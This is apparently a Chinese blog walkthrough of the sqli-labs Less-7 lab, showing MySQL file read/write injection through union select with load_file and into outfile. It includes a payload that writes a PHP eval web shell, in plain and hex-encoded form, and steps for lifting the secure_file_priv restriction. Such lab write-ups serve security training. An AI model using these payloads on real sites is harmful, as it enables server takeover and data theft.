基于sqli-labs Less-7 的sql高权读写注入详解
1. MySQL高权限读写简介
1.1 前置知识
数据库的高权用户对服务器上的文件进行读取写入操作,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。
select load_file ('d:/w.txt'); # 读取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件
1.2 读写注入示例
字段数判断和注入点判断略,作信息收集看用户名是root后可以尝试高权注入
/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'
注意写路径的时候\的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/即可。
1.3 写入后门代码
给出写入后门代码示例
/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'
如果存在过滤,可以把<?php eval($_POST[x])?>用hex编码一下,不用单引号,即:
/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'
1.4 路径获取
load_file与outfile函数都需要绝对路径,获取网站绝对路径的方法有以下几种:
- load_file常用路径直接读取配置文件,得到网站路径
- 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
- 输入错误信息,看是否会报错返回路径
- 爆破路径
2. 黑盒测试
2.1 判断闭合类型
判断闭合类型为((''))
/?id=1' and '1'='1 You are in
/?id=1' --+ 报错
/?id=1') and ('1')=('1 You are in
/?id=1') --+ 报错
/?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in
2.2 写入后门代码
写入后门代码
注意
- 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
- 如果上传失败,可能是secure_file_priv配置问题,请参考第三模块
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+
之后利用蚁剑连接后门即可
3. secure_file_priv限制
3.1 secure_file_priv简介
高版本的MYSQL添加了一个新的特性secure_file_priv,secure_file_priv 是 MySQL 中用于限制文件操作的系统变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILE、SELECT INTO OUTFILE 等语句的操作范围,确保数据库文件操作只能在特定的目录中进行,进而增强系统的安全性。
linux
/etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
1. secure_file_priv="" 代表对文件读写没有限制
2. secure_file_priv="NULL" 代表不能进行文件读写
3. secure_file_priv="d :/phpstudy /mysql/data" 代表只能对该路径下文件进行读写
3.2 修改secure_file_priv配置
在做Less-7时,出现读写注入失败的问题,可能就是由于secure_file_priv禁止了读写
想要知道你的secure_file_priv设置,执行以下sql语句:
SHOW VARIABLES LIKE 'secure_file_priv';
若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini的[mysqld]模块将它修改为无限制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。
宇宙安全声明
本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。
基于sqli-labs Less-7 的sql高权读写注入详解的更多相关文章
- SQL Server 执行计划操作符详解(2)——串联(Concatenation )
本文接上文:SQL Server 执行计划操作符详解(1)--断言(Assert) 前言: 根据计划,本文开始讲述另外一个操作符串联(Concatenation),读者可以根据这个词(中英文均可)先幻 ...
- 基于OpenCL的深度学习工具:AMD MLP及其使用详解
基于OpenCL的深度学习工具:AMD MLP及其使用详解 http://www.csdn.net/article/2015-08-05/2825390 发表于2015-08-05 16:33| 59 ...
- BM算法 Boyer-Moore高质量实现代码详解与算法详解
Boyer-Moore高质量实现代码详解与算法详解 鉴于我见到对算法本身分析非常透彻的文章以及实现的非常精巧的文章,所以就转载了,本文的贡献在于将两者结合起来,方便大家了解代码实现! 算法详解转自:h ...
- SQL中CONVERT()函数用法详解
SQL中CONVERT函数格式: CONVERT(data_type,expression[,style]) 参数说明: expression 是任何有效的 Microsoft® SQL Server ...
- SQL Server 执行计划操作符详解(3)——计算标量(Compute Scalar)
接上文:SQL Server 执行计划操作符详解(2)--串联(Concatenation ) 前言: 前面两篇文章介绍了关于串联(Concatenation)和断言(Assert)操作符,本文介绍第 ...
- 常用经典SQL语句大全完整版--详解+实例 (存)
常用经典SQL语句大全完整版--详解+实例 转 傻豆儿的博客 http://blog.sina.com.cn/shadou2012 http://blog.sina.com.cn/s/blog_84 ...
- Linq实战 之 Linq to Sql及Entity Framework操作详解
Linq实战 之 Linq to Sql及Entity Framework操作详解 一:linq to db的框架 1. linq to sql 2. linq to ado.net entity f ...
- 常用经典SQL语句大全完整版--详解+实例 《来自网络,很全没整理,寄存与此》
常用经典SQL语句大全完整版--详解+实例 下列语句部分是Mssql语句,不可以在access中使用. SQL分类: DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML ...
- 基于XMPP的即时通信系统的建立(二)— XMPP详解
XMPP详解 XMPP(eXtensible Messaging and Presence Protocol,可扩展消息处理和现场协议)是一种在两个地点间传递小型结构化数据的协议.在此基础上,XMPP ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
随机推荐
- FFmpeg开发笔记(四十八)从0开始搭建直播系统的开源软件架构
音视频技术的一个主要用途是直播,包括电视直播.电脑直播.手机直播等等,甚至在线课堂.在线问诊.安防监控等应用都属于直播系统的范畴.由于直播系统不仅涉及到音视频数据的编解码,还涉及到音视频数据的实时传 ...
- LVM逻辑卷创建
创建步骤 1.创建分区 2.创建PV 3.创建VG 4.创建LV 5.格式化及挂载 创建分区 使用分区工具(如fdisk等)创建LVM分区. 创建PV $ pvcreate /dev/sdb5 #将每 ...
- MSI Afterburner 使用
MSI Afterburner 是一款显卡超频软件,同时可以监测硬件运行数据(CPU 温度.GPU 温度.帧率.帧生成时间等).与其捆绑安装的 RivaTuner Statistics Server ...
- 记录荒废了三年的四年.net开发的第三次面试,苏州斯莱克
现在就业的确崩了 这次面试的时间是8月28号.距离上一次面试已经过去了一个月了,距离开始找工作已经过去了2个月.没多少找工作经验的我也体会到了什么叫就业崩了. 看了一线码农的采访计划后,我也把苏州列为 ...
- 【YashanDB知识库】应用绑定参数的慢查询,慢日志抓取不到
[问题分类]功能使用 [关键字]慢日志.绑定参数 [问题描述]应用下发的绑定参数的SQL,慢日志功能抓取不到查询耗时超过阈值的执行SQL [问题原因分析]慢日志的功能没有考虑绑定参数的情况 [解决/规 ...
- C# – delegate, event, EventHandler
前言 写这么多年 C#, 我从来没有写过 EventHandler. 我想应该是因为我没有用 C# 开发过前端的关系, 绝对不是我技术不行哦. 这篇就补上一个学习笔记呗. 参考 C#知识点讲解之C#d ...
- Maven 依赖项管理&&依赖范围
依赖管理 使用坐标导入jar包 1.在pom.xml 中编写 <dependencies> 标签 2.在 <dependencies> 标签中使用 < ...
- Spring —— bean生命周期
bean生命周期 生命周期:从创建到消亡的完整过程 bean生命周期:bean从创建到销毁的整体过程 bean生命周期控制:在bean创建后到销毁前做一些事情 方式一:配置控制生命周期 <b ...
- 八皇后dfs全排列——洛谷1219
[USACO1.5] 八皇后 Checker Challenge 题目描述 一个如下的 \(6 \times 6\) 的跳棋棋盘,有六个棋子被放置在棋盘上,使得每行.每列有且只有一个,每条对角线(包括 ...
- MySQL 切换 Oracle 问题整理
MySQL 通常小写,Oracle 默认大写 ,查询过程中需加双引号,或者直接将MySQL 字段转换成大写 Springboot 配置 oracle连接 spring: datasource: url ...